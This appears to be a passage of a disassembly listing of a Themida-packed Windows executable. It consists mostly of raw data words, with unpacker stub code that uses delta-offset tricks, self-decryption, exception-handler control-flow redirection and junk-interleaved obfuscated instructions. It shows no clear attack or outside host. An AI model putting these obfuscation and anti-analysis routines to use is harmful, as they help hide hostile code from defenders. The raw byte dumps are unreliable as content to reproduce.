3DAFh, 93EF0000h, 77E7h, 2 dup(0) dd 230000h, 54h, 3 dup(0) dd 1050000h, 0A28h, 3 dup(0) dd 3A00000h, 0 dd 0A00F0259h, 9Fh, 3 dup(0) dd 8E180000h, 0AF7Ah, 9 dup(0) dd 10000h, 5 dup(0) dd 3040000h, 7FFEh, 69DD0000h, 9Fh, 5 dup(0) dd 0FFFF0000h, 0FFFFh, 0 dd 1B590000h, 54h, 0 dd 7D990000h, 5Ah, 0 dd 7C0000h, 31540000h, 0A0h, 0 dd 0B5C0000h, 77A5h, 3 dup(0) dd 0DDCD0000h, 8BDh, 0F8120000h, 1D82h, 0 dd 0FF1C0000h, 12h, 1Eh dup(0) dd 293B0000h, 8746h, 0 dd 0BBC80000h, 0FF6E0058h, 14FA7Bh, 0Eh, 0 dd 6B150000h, 5Bh, 6 dup(0) dd 263D0000h, 0FF6E0057h, 0F62BFA7Bh, 56h, 0 dd 3040000h, 7FFEh, 6 dup(0) dd 3040000h, 7FFEh, 70AC0000h, 9Fh, 5A030000h, 15738818h dd 118Dh, 4 dup(0) dd 553C0000h, 42h, 4 dup(0) dd 0FFB00000h, 0FA56015Fh, 9Fh, 0 dd 731C0000h, 94997FFFh, 9Fh, 0 dd 15CA0000h, 31450059h, 9Fh, 2 dup(0) dd 2B550000h, 5139h, 5 dup(0) dd 10000h, 3E0000h, 9F3C009Eh, 2FFFFh, 2 dup(0) dd 57D70000h, 7A900058h, 5Ah, 4 dup(0) dd 6790000h, 9BDF028Ah, 3 dup(0) dd 387A0000h, 0C2DCh, 8B820000h, 492B77E7h, 0E942h, 5 dup(0) dd 38DC0000h, 0FCFCEAEEh, 8001h, 199A028Ah, 6E86h, 0Ch dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 0F7270000h, 72ED0058h, 0FFA9h, 7 dup(0) dd 6D010000h, 65FB0000h, 5Ah, 840000h, 0Ah dup(0) dd 4E480000h, 6832h, 0 dd 0CCA00000h, 5Ah, 9 dup(0) dd 0C3EE0000h, 66F9h, 8F3C0000h, 0A837FF60h, 77E7h, 99800000h dd 8000h, 8D8D0000h, 9C90h, 4 dup(0) dd 2B0000h, 4 dup(0) dd 10000h, 0 dd 4EB0000h, 0 dd 0A6940000h, 0FFFFh, 0 dd 1Ah, 0 dd 0F1950000h, 65527F46h, 72617473h, 70704174h, 6578652Eh dd 0 dd 858C0000h, 797h, 0 dd 0EBB30000h, 77F7h, 2 dup(0) dd 10000h, 4 dup(0) dd 97390000h, 69DD56B7h, 7C84009Fh, 5CCh, 24h dup(0) dd 0E1070000h, 59h, 70C40000h, 0CBF3009Fh, 9 dup(0) dd 0A0800000h, 0FFA5h, 0 dd 0FFC40000h, 12h, 2 dup(0) dd 6180000h, 0FFFF77E8h, 0Bh dup(0) dd 0B1340000h, 7A9000A1h, 5Ah, 7 dup(0) dd 23E80000h, 0A0h, 0FFB00000h, 1572014Fh, 0A7F2118Dh dd 0FFA8h, 3040000h, 0EF47h, 0A0A80000h, 7C7Ah, 4 dup(0) dd 5D0000h, 39014Eh, 0 dd 8F8C0000h, 57h, 3 dup(0) dd 90370000h, 57h, 0 dd 6A170000h, 5Ah, 0 dd 22220000h, 22222222h, 2222h, 3 dup(0) dd 0F6750000h, 0FFA6h, 9BAC0000h, 30DF00A1h, 304A9C5h dd 7FFEh, 2 dup(0) dd 6D010000h, 0ED320000h, 73161A3Ch, 0A1h, 5D7A0000h, 59h dd 0 dd 5D80000h, 77E8h, 0 dd 3040000h, 0C6137FFEh, 7FD8005Ah, 0A1h, 3 dup(0) dd 25Bh, 8B820000h, 12A377E7h, 8056h, 0 dd 3040000h, 7FFEh, 0Dh dup(0) dd 48300000h, 4 dup(0) dd 8F8C0000h, 57h, 4 dup(0) dd 0AC0000h, 3 dup(0) dd 872A0000h, 18Fh, 2Bh dup(0) dd 0C3E0000h, 7 dup(0) dd 2FA50000h, 49B4005Bh, 0CE20005Ah, 5000005Ah, 3, 3 dup(0) dd 8D8D0000h, 7F79h, 4 dup(0) dd 21680000h, 0C96A0002h, 939377D4h, 9Fh, 0A8450000h, 58h dd 0 dd 0FBD40000h, 0FFB00057h, 1EFh, 7 dup(0) dd 0C3AD0000h, 3048063h, 7FFEh, 69DD0000h, 9Fh, 0 dd 6CB80000h, 248h, 0 dd 0B03C0000h, 59h, 98DB0000h, 5Ah, 6 dup(0) dd 6D010000h, 3 dup(0) dd 6E720000h, 79632F21h, 77E7h, 67BE0000h, 0B80Ah, 0Ah dup(0) dd 78960000h, 5E6215CEh, 0A00F0059h, 7FFEh, 4 dup(0) dd 2FE80000h, 77E8h, 0B1CA0000h, 0B1B300ADh, 0FF6E0057h dd 0F62BFA7Bh, 56h, 3 dup(0) dd 2E0F0000h, 77F5h, 4 dup(0) dd 0FC4E0000h, 0FFABh, 2 dup(0) dd 3E680000h, 2, 0Bh dup(0) dd 5CB50000h, 77E7h, 7B720000h, 5Ah, 3 dup(0) dd 0DA5A0000h, 2E5F1E78h, 5Ah, 8 dup(0) dd 33330000h, 2 dup(33333333h), 11B63333h, 6868h, 0 dd 0C92D0000h, 0FFFFh, 2 dup(0) dd 0FF6B0000h, 57h, 8 dup(0) dd 1000000h, 4 dup(0) dd 858C0000h, 797h, 800000h, 2 dup(0) dd 0D5540000h, 9Eh, 2 dup(0) dd 0C80000h, 62420000h, 7FA4h, 2 dup(0) dd 0E0000000h, 304004Dh, 7FFEh, 2 dup(0) dd 0FF6B0000h, 66360057h, 59h, 0Dh dup(0) dd 0EAEA0000h, 0FFFF0053h, 6FFFFh, 18h dup(0) dd 0FF6E0000h, 510DFA7Bh, 0 dd 3FFC0000h, 0EAEB7FFFh, 53h, 5 dup(0) dd 7B140000h, 7268h, 2 dup(0) dd 26230000h, 57h, 3 dup(0) dd 10004h, 0D1480000h, 3896h, 9 dup(0) dd 0A0990000h, 2E4877E7h, 539Dh, 0A8370000h, 0B0E977E7h dd 3 dup(0) dd 7B170000h, 5Ah, 0A00000h, 0 dd 48FF0000h, 58h, 2 dup(0) dd 35B0000h, 0F9F0000h, 58h, 3 dup(0) dd 23F40000h, 0FFFF0054h, 0FFFFh, 2 dup(0) dd 637A0000h, 5Ah, 0 dd 47F30000h, 5E90h, 4 dup(0) dd 5ED10000h, 5Ah, 0 dd 0FF540000h, 0A5FD0012h, 1, 0 dd 0BC7C0000h, 0CB45h, 3 dup(0) dd 0FFAF0000h, 535Dh, 6 dup(0) dd 3040000h, 3458h, 0 dd 10000h, 7 dup(0) dd 10000h, 780000h, 6 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 2CAE0000h, 0D1D07FFEh, 0FFA5h, 0A00F0000h, 9Fh, 0AC0000h dd 4 dup(0) dd 8D530000h, 0A3h, 5 dup(0) dd 95C40000h, 0BBA1h, 2 dup(0) dd 76B4h, 2 dup(0) dd 9160000h, 700054h, 5 dup(0) dd 3040000h, 7FFEh, 3D70000h, 7FFEh, 0 dd 4AE70000h, 58h, 6D010000h, 7 dup(0) dd 9A3D0000h, 0A5FD0058h, 0D40177E7h, 5Ah, 11110000h, 1111h dd 6 dup(0) dd 0B1680000h, 9Eh, 0 dd offset dword_580000 dd 7FCFh, 3040000h, 7FFEh, 3 dup(0) dd 0FFFE0000h, 0FFFFh, 0 dd 77F5h, 3 dup(0) dd 0CD6C0000h db 5Ah, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541506: ; CODE XREF: start:loc_53E1CDj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5E93343h mov [ebp+5E92A31h], edx mov [ebp+5E90281h], esi mov [ebp+5E91291h], eax cmp dword ptr [ebp+5E9035Dh], 0 jz short loc_54153E mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54153E: ; CODE XREF: start+6151Cj mov eax, [esp+40h+var_1C] mov [ebp+5E92E45h], eax push 45h call sub_5415F2 push 783749Ah call sub_541638 push 0A894B25h call sub_541638 jmp loc_54177C ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5415F2 proc near ; CODE XREF: start+61536p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5E93431h mov ebx, edx mov [ebp+var_28], 0 loc_54160E: ; CODE XREF: sub_5415F2+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54162D mov eax, [ebp+arg_0] mov [ebx+5E9339Bh], eax inc [ebp+arg_0] inc ebx jmp short loc_54160E ; --------------------------------------------------------------------------- loc_54162D: ; CODE XREF: sub_5415F2+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_5415F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541638 proc near ; CODE XREF: start+61540p start+6154Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5E9347Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54165E: ; CODE XREF: sub_541638+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54165E mov [ebp+var_84], 0 lea edi, [edx+5E9339Bh] lea esi, [ebp+var_80] loc_54168E: ; CODE XREF: sub_541638+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54169A: ; CODE XREF: sub_541638+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54169A imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54168E popa leave retn 4 sub_541638 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_5416D8 ; --------------------------------------------------------------------------- loc_5416D4: ; CODE XREF: Themida_:005416DBj inc dword ptr [ebp-4] inc esi loc_5416D8: ; CODE XREF: Themida_:005416D2j cmp byte ptr [esi], 0 jnz short loc_5416D4 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_541769 ; --------------------------------------------------------------------------- loc_5416EA: ; CODE XREF: Themida_:0054176Cj mov dword ptr [ebp-8], 0 jmp short loc_541760 ; --------------------------------------------------------------------------- loc_5416F3: ; CODE XREF: Themida_:00541764j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54174D ; --------------------------------------------------------------------------- loc_541703: ; CODE XREF: Themida_:00541751j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_541725 cmp bl, 39h ja short loc_541725 sub bl, 30h jmp short loc_541747 ; --------------------------------------------------------------------------- loc_541725: ; CODE XREF: Themida_:00541719j ; Themida_:0054171Ej cmp bl, 61h jb short loc_541737 cmp bl, 66h ja short loc_541737 sub bl, 61h add bl, 0Ah jmp short loc_541747 ; --------------------------------------------------------------------------- loc_541737: ; CODE XREF: Themida_:00541728j ; Themida_:0054172Dj cmp bl, 41h jb short loc_541747 cmp bl, 46h ja short loc_541747 sub bl, 41h add bl, 0Ah loc_541747: ; CODE XREF: Themida_:00541723j ; Themida_:00541735j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54174D: ; CODE XREF: Themida_:00541701j cmp dword ptr [ebp-0Ch], 2 jb short loc_541703 cmp dword ptr [ebp-10h], 0 jbe short loc_54175D mov eax, [ebp-10h] stosb loc_54175D: ; CODE XREF: Themida_:00541757j inc dword ptr [ebp-8] loc_541760: ; CODE XREF: Themida_:005416F1j cmp dword ptr [ebp-8], 2 jb short loc_5416F3 add edx, 4 loc_541769: ; CODE XREF: Themida_:005416E8j cmp edx, [ebp-4] jb loc_5416EA mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54177C: ; CODE XREF: start+6154Fj mov ecx, 7000h lea edi, [ebp+5E935C0h] loc_541787: ; CODE XREF: start+61777j dec byte ptr [edi] inc edi dec ecx jnz short loc_541787 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+5E936B2h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push 0 push ebx call sub_5417C3 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_5417C3 proc near ; CODE XREF: start+617A7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5417C3 endp ; --------------------------------------------------------------------------- db 0ECh dd 0E9C22B86h, 11h, 0C3EE777Ah, 31C300C7h, 0E9775B26h dd 0C902D1F9h, 0F0002569h, 0CA8BFFFFh, 8166FF33h, 755A4D38h dd 50B70F0Eh, 81D0033Ch, 45503Ah, 2D087400h, 1000h, 64E3EB47h dd 58Fh, 0C4830000h, 0C5958D04h, 5205E936h, 35FF64h, 64000000h dd 2589h, 0C1030000h, 10002Dh, 4708B00h, 0E681h, 0FE81FFFFh dd 80000000h, 708B0376h, 83C0331Ch, 1F7432F8h, 4D3E8166h dd 8109745Ah, 10000EEh, 0EBEB4000h, 33C7E8Bh, 503F81FEh dd 74000045h, 64E8EB44h, 58Fh, 0C4830000h, 51C36104h, 10244C8Bh dd 0B0A981h, 10000000h, 33590000h, 8B51C3C0h, 5510244Ch dd 0E8h, 0ED815D00h, 5E936D0h, 368E858Dh, 818905E9h, 0B8h dd 0C033595Dh, 8F6496C3h, 5, 4C48300h, 37B3D0B3h, 4860Fh dd 0BB660000h, 8C66FC16h, 52006AD9h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D5459B75h dd 66B15967h, 60CEF381h, 0E804E180h, 8, 9EA90D3Ah, 0FC94113Ch dd 0FC90A5Bh, 3A85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 68C0F0Ch, 81000000h, 0FD8A8FD3h dd 0BD85C71Eh, 105E901h, 8B000000h, 52E9DFh, 0C7F80000h dd 0E901BD85h, 5, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 10E9C8h, 0A5B0000h, 0DA45FE77h dd 3D0D86C1h, 691579E4h, 11E98D9Dh, 0B6000000h, 0D9CD1800h dd 4A52D129h, 855D9970h, 28B97940h, 23458589h, 0D98B05E9h dd 1EFD8589h, 9E805E9h, 0F7000000h, 83EE3729h, 88D2C16Eh dd 0FCF4FDBEh, 8B665B15h, 0D0C381F1h, 6600005Dh, 68F28Bh dd 66000000h, 581BB6BEh, 9EBBDE81h, 0C8B5A5Ah, 40BA6603h dd 0CFE98158h, 0F5A0CDAh, 1985h, 12E95600h, 7E000000h dd 0A795C45Dh, 526115A1h, 2F7A24BAh, 31F130Ah, 0C1815AF8h dd 8BDE0A6h, 0A4CFC181h, 0F532244h, 684h, 800F00h, 5F000000h dd 81030C89h, 0BDA51ECFh, 0D78B661Eh, 2C3CE881h, 11E96B5Fh dd 0B7000000h, 0A2FE4AE8h, 8AAFA342h, 826296A2h, 0E6E05ECAh dd 2C38C081h, 0F8816B5Fh, 0FFFFA2E0h, 0FF80850Fh, 8E0FFFFFh dd 3, 0E8D1BF0Fh, 7, 2BEC3C2Bh, 8BE1B846h, 0BF665AFBh dd 0C281E9BDh, 7399h, 1CAA68h, 8E900h, 0DDE0000h, 6A15B085h dd 8B5BA5CCh, 12E902h, 16CC0000h, 0A17FBE96h, 2101497Dh dd 8921359Dh, 0B71E1056h, 0E032F081h, 0AE91ABEh, 67000000h dd 0B3A777F9h, 0D0225D24h, 90E88184h, 8118CC1Fh, 560051D1h dd 0ADC08173h, 0F41EE44h, 381h, 0F08B6600h, 66028F50h dd 0EA83CA8Bh, 0DE802h, 5DF20000h, 0F0661F10h, 0CEF181D7h dd 0E83B4C0Ah, 0Eh, 0B409F102h, 78708398h, 0E7DE9D80h dd 5F5FC4C9h, 12E94A4Ah, 30000000h, 2A0FEE0Bh, 841BE467h dd 578A9220h, 0F18ECECDh, 1EB815Dh, 0F000000h, 1285h, 860F00h dd 0E9000000h, 25h, 4ECE8D66h, 0F8B659Ah, 286h, 0E9616000h dd 0FFFFFF43h, 0F2827AD9h, 63B8281Fh, 0F7E443C4h, 0C58D67F9h dd 78FE919h, 850F0000h, 17h, 12E9h, 0A795C400h, 526115A1h dd 2F7A24BAh, 31F130Ah, 17C58FF8h, 2, 41770000h, 0C03B5568h dd 9D899761h, 5E92501h, 8D310000h, 5E93179h, 0B8FC60h dd 0F9000000h, 2824548Bh, 2CE99D89h, 858905E9h, 5E93105h dd 0C880Fh, 8F0F0000h, 6, 19799D29h, 3CBE05E9h, 0F000000h dd 688h, 7D850900h, 305E932h, 0E9242474h, 0Ah, 4DCE5FAh dd 9417F361h, 0AD668DAAh, 9E9h, 4AD2DB00h, 3FE4CBF0h, 440311DEh dd 9602424h, 0E9103185h, 98DF8105h, 61298119h, 128D0F90h dd 50000000h, 8C0F52h, 0F000000h, 0F525031h, 5A585A31h dd 52505058h, 0BE9h, 0E2DC9B00h, 3446AF8Fh, 6AB16Ch, 5250310Fh dd 8A0Fh, 310F0000h, 840Fh, 585A0000h, 0F90585Ah, 158Dh dd 10E900h, 0C70A0000h, 0F46FB5A1h, 0FAC8C389h, 0B7BD14FAh dd 408B5F73h, 0CDB50978h, 305E919h, 60282444h, 530515BAh dd 408FB80Ch, 0F6179C4h, 680h, 0A58D2900h, 8B05E91Fh, 40FC1840h dd 0FE8B6660h, 898D0B60h, 5705E916h, 8961615Eh, 0E91DDD95h dd 0B2858905h, 0F05E939h, 683h, 0BD9D3100h, 5805E907h dd 78708BF5h, 0B8D38B60h, 10D9CAA1h, 1CC68361h, 313DBD29h dd 740305E9h, 890F2424h, 1, 61BD8DFCh, 6005E91Eh, 6820Fh dd 9D890000h, 5E91C99h, 258D2B60h, 6605E90Ch, 6161F08Bh dd 8A0F60ADh, 0Ah, 5E9h, 6BF5AD00h, 81661256h, 611D71E2h dd 24244403h, 0E860ABF9h, 11h, 8CB5ACFFh, 0EA5231F7h, 0A6490872h dd 0C4C2E751h, 800F40h, 59000000h, 59958B60h, 8B05E932h dd 0E910ADBDh, 8D616105h, 0E91999BDh, 9E9F505h, 0A7000000h dd 175D23C6h, 0A115614Eh, 0B52B60ADh, 5E90375h, 34E08FB9h dd 3F9610Fh, 89242444h, 0E925B58Dh, 52505005h, 6840Fh dd 8B0F0000h, 0 dd 8E0F310Fh, 6, 310F5250h, 585A585Ah, 0FC240489h, 358589ABh dd 0F805E900h, 1669BD8Dh, 11E905E9h, 0B4000000h, 0EEF6BDCDh dd 0DF88DF4Ch, 12969294h, 36DF1AA1h, 6D8589ADh, 305E92Eh dd 0F282444h, 1587h, 10E900h, 0C7CF0000h, 0F3D7522Ch, 5B24E14Dh dd 3EF53EADh, 0E9AB168Dh, 14h, 81486926h, 9EBD657Ch, 63BDA868h dd 0AD96F7BBh, 0F97C550Bh, 1985015Eh, 0FF05E908h, 0E939B28Dh dd 0B2BD8305h, 5E939h, 44C71075h, 1C24h, 0B58D0000h, 5E93EACh dd 0AD56E6FFh, 28244403h, 8ADF8B97h, 0E90EE585h, 74C08405h dd 75073A04h, 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h dd 33C033D1h, 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h dd 973D8D1h, 50413566h, 49F38166h, 75CEFE54h, 33C833EBh dd 0D5754FD3h, 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah dd 0C6835E0Fh, 585FF04h, 0E905E931h, 0FFFFFF6Fh, 1D8A0F5Eh dd 0F000000h, 1780h, 12E900h, 0A4330000h, 0F6ACEA0Ch, 0F19AF2DFh dd 139675B1h, 5A11EAEBh, 11E9h, 52FB8900h, 0F9312C7Ch dd 0B781A549h, 0AFCF73A7h, 858B2D06h, 5E93105h, 88E0Fh dd 1600000h, 0E9023DBDh, 8D316105h, 5E90B21h, 8F0FE0D1h dd 17h, 558D0960h, 0E905E92Bh, 0Ah, 686FB986h, 8DFC2843h dd 361F17Ch, 0E9166985h, 68C0F05h, 31000000h, 0E930499Dh dd 0BE05h, 9D890000h, 5E9039Dh, 0AD66F596h, 2E0C1F8h, 0E58D8960h dd 2905E916h, 0E91D6985h, 85036105h, 5E91E61h, 853196F9h dd 5E91979h, 55BD89ADh, 8B05E903h, 8924244Ch, 0E9316585h dd 359D0105h, 305E91Dh, 0F242444h, 0C84h, 6820F00h, 31000000h dd 0E928FD8Dh, 24448905h, 4DBD011Ch, 9605E906h, 158C0Fh dd 0E9600000h, 0Ch, 0C203C98Ch, 0BFB5048h, 0C9A671CBh dd 0AC615E57h, 6E9h, 0B830B400h, 3239115Bh, 0C860FC9h dd 0F000000h, 68Ch, 800F00h, 0E9000000h, 7, 0CE983908h dd 0FE5F9DB3h, 19501C1h, 0D005E911h, 0A2830FD0h, 60000000h dd 2D9D8B52h, 5F05E906h, 2C5CBF66h, 0C99D8961h, 0D005E92Ch dd 86830FD0h, 60000000h, 0A7C98166h, 0D0D061F5h, 77820Fh dd 29F50000h, 0E916599Dh, 0FD0D005h, 6882h, 0DE900h, 89C80000h dd 61E515Fh, 0F955CEEh, 0FE61D6EBh, 0A4890FC9h, 0FCFFFFFFh dd 3120C483h, 0E93049B5h, 2444C705h, 0FCh, 8DB58900h, 0B805E91Ch dd 1, 68B0Fh, 0B5290000h, 5E924A1h, 0B800Fh, 6E90000h dd 50000000h, 49F6DE0Ah, 0D48D8DF4h, 8905E972h, 0E9230DBDh dd 29E1FF05h, 0E906019Dh, 0E585C605h, 5E90Eh, 953161F9h dd 5E90099h, 890008C2h, 0E9102D95h, 12E95005h, 42000000h dd 5F962984h, 0D283A04h, 1BE6AA9Fh, 0D93380AEh, 24348967h dd 13E9h, 470ACB00h, 15826F73h, 2D348DC4h, 0EA36D7FFh dd 9AE16BBEh, 40DFB589h, 890F05E9h, 6, 10599589h, 8D8905E9h dd 5E94104h, 118D8B60h, 0E905E931h, 5, 0E4C098ABh, 0B58D61D2h dd 5E93F80h, 6840F60h, 89000000h, 0E90091BDh, 0B58D8905h dd 6105E931h, 5DBD8960h, 0F05E91Eh, 88h, 858D6100h, 5B7E35h dd 71B52960h, 6605E906h, 618D4BBFh, 8D31D0FFh, 5E90FF9h dd 7E9605Eh, 0A2000000h, 9209E79Eh, 5E8E239h, 53000000h dd 74ACD05Ah, 0C36159F5h, 0DFB58BF9h, 0E905E940h, 0Dh dd 0DEC7E4Ah, 2648D83Bh, 773F93FCh, 48D8B9Dh, 8905E941h dd 0E9316185h, 89C02B05h, 0E90CC59Dh, 0E9D98B05h, 12h dd 0BE817A1Eh, 705974B0h, 0FE3488FEh, 94C55664h, 850F9980h dd 15h, 10E9h, 0AAB1AC00h, 70EF9A78h, 2C7131B4h, 0F09600D4h dd 0DCE927h, 9E90000h, 26000000h, 54581040h, 161C69B2h dd 12E92632h, 51000000h, 0D60104FCh, 3BBBA7AFh, 0FAF44ABEh dd 99030E4Eh, 0E902B27Eh, 0Dh, 0C4674AE3h, 0A9105757h dd 74315BBh, 58E94Dh, 85890000h, 5E92B91h, 0B589C232h dd 5E9018Dh, 1D7A05F9h, 95018A75h, 5E9004Dh, 2960CC8Ah dd 0E917B19Dh, 8B665105h, 0D3615FF8h, 0BF6660C8h, 5E92B3Dh dd 0C3000000h, 9EFAA4D1h, 91BD0161h, 3505E901h, 98D10842h dd 1CA98529h, 0CAFE05E9h, 89C38B60h, 0E9039DB5h, 0D20A6105h dd 0FFA6850Fh, 8C0FFFFFh, 6, 1839BD31h, 0F4B05E9h, 1681h dd 11E900h, 484E0000h, 5AD703CCh, 60DDEB4Ch, 134A875Ch dd 29AA7B5Fh, 0E931999Dh, 860F4605h, 6, 10C58D01h, 0DB0B05E9h dd 0FF2A850Fh, 0FE9FFFFh, 4A000000h, 0BD49E1D8h, 0C2FFB29Ah dd 33EEA76Ch, 0F8CF33EFh, 8C0F0000h, 6, 186D8589h, 0F905E9h dd 0E890F00h, 60000000h, 5923E081h, 0B58B3079h, 5E92FE5h dd 0E9000061h, 11h, 0A408678Eh, 8DF01C83h, 0CCD5E8A8h dd 0B93C863Eh, 89000015h, 0E90FC99Dh, 0CF858D05h, 0F05E939h dd 685h, 4DB50100h, 8905E932h, 0E923C585h, 65958905h, 8D05E925h dd 0E93EC485h, 68B0F05h, 9000000h, 0E910658Dh, 0F1858905h dd 0EB05E907h, 14h, 3 dup(0) dd 8B00h, 27858D00h, 8905E942h, 0E9311D85h, 68BD8305h dd 5E941h, 122840Fh, 85C60000h, 5E90EE5h, 1AA46856h, 481BF8Bh dd 94529524h, 45B5FF14h, 8D05E923h, 0E939CF85h, 89D0FF05h dd 0E9415C85h, 0E585C605h, 5605E90Eh, 4E8h, 0A8B85200h dd 448B509Ch, 8B0424h, 4244489h, 45B5FF58h, 8D05E923h dd 0E939CF85h, 89D0FF05h, 0E9416085h, 68046A05h, 0D42BFA8Eh dd 72240481h, 8B2BD415h, 0E9416C85h, 1F40505h, 0E0C10000h dd 90509002h, 95FF006Ah, 5E94160h, 41648589h, 0D88B05E9h dd 0FFFFFFB8h, 1D95FFFFh, 8B05E931h, 1D95FFC3h, 0E905E931h dd 84h, 4168BD83h, 0F0005E9h, 185h, 8B57C300h, 0E94164BDh dd 8583AB05h, 5E94164h, 83C35F04h, 0E94168BDh, 850F0005h dd 1, 0AD8360C3h, 5E94164h, 649D8B04h, 8305E941h, 0FFFFC7Bh dd 1D85h, 0BEDD6800h, 481C63Eh, 0C1C12324h, 0FF006A39h dd 5C95FF33h, 6105E941h, 1DE9C3h, 26680000h, 81E79855h dd 2ADA2404h, 6A1868h, 95FF33FFh, 5E9415Ch, 4164AD83h dd 0E90405E9h, 0FFFFFFB1h, 1ADE948h, 8B600000h, 8B242474h dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h dd 850BA700h, 6F560CB6h, 0A3C621EAh, 0DE3BDC48h, 4F30C976h dd 1D83EAFBh, 276A724Ch, 3ECE34F1h, 852DFA41h, 631407BBh dd 0F1D133E2h, 0D929CD1Bh, 207BC633h, 17899A98h, 2B6B6F58h dd 3CCE34A3h, 852EF547h, 7C141DBBh, 0F1CE29FFh, 0C237D105h dd 4B75D224h, 0C5AEFBh, 667A6F5Ch, 298035F1h, 8538E147h dd 7D5B1BA2h, 0FFCE27FFh, 63h dup(0) dd 850BA700h, 735A06BFh, 0F1D129F9h, 0CA35C618h, 0A38CA24h dd 5296ABFDh, 696B795Bh, 25CF27A3h, 0D76AF046h, 735A07A7h dd 0B88321E3h, 0C2239406h, 5975D923h, 1791B9ECh, 0A043254h dd 31C52DD3h, 8566F15Bh, 755807A7h, 0B88322ECh, 0DF3C941Ch dd 4775C639h, 8AA7F0h, 696F3C40h, 35D261E7h, 0D72BE05Bh dd 754D49A6h, 0A18334F8h, 0DF3DDB1Ah, 